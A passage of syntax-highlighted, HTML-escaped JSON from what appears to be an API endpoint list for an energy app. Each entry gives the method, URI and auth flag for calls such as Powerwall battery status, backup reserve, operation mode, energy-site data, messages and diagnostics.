&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;ONBOARDING_EXPERIENCE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/users/onboarding_data&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;ONBOARDING_EXPERIENCE_PAGE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;onboarding_page&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CONTENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;HTML&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;REFERRAL_DATA&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/users/referral_data&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;REFERRAL_PAGE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;referral_page&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CONTENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;HTML&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;MESSAGE_CENTER_MESSAGE_LIST&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/messages&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;MESSAGE_CENTER_MESSAGE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/messages/{message_id}&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;MESSAGE_CENTER_COUNTS&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/messages/count&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;MESSAGE_CENTER_MESSAGE_ACTION_UPDATE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/messages/{message_id}/actions&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;MESSAGE_CENTER_CTA_PAGE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;messages_cta_page&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CONTENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;HTML&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH_COMMAND_TOKEN&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/users/command_token&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SEND_DEVICE_KEY&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/users/keys&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;DIAGNOSTICS_ENTITLEMENTS&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/diagnostics&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SEND_DIAGNOSTICS&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/diagnostics&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;BATTERY_SUMMARY&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/powerwalls/{battery_id}/status&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;BATTERY_DATA&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/powerwalls/{battery_id}&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;BATTERY_POWER_TIMESERIES_DATA&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/powerwalls/{battery_id}/powerhistory&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;BATTERY_ENERGY_TIMESERIES_DATA&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/powerwalls/{battery_id}/energyhistory&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;BATTERY_BACKUP_RESERVE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/powerwalls/{battery_id}/backup&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;BATTERY_SITE_NAME&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/powerwalls/{battery_id}/site_name&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;BATTERY_OPERATION_MODE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/powerwalls/{battery_id}/operation&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SITE_SUMMARY&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/energy_sites/{site_id}/status&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SITE_DATA&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
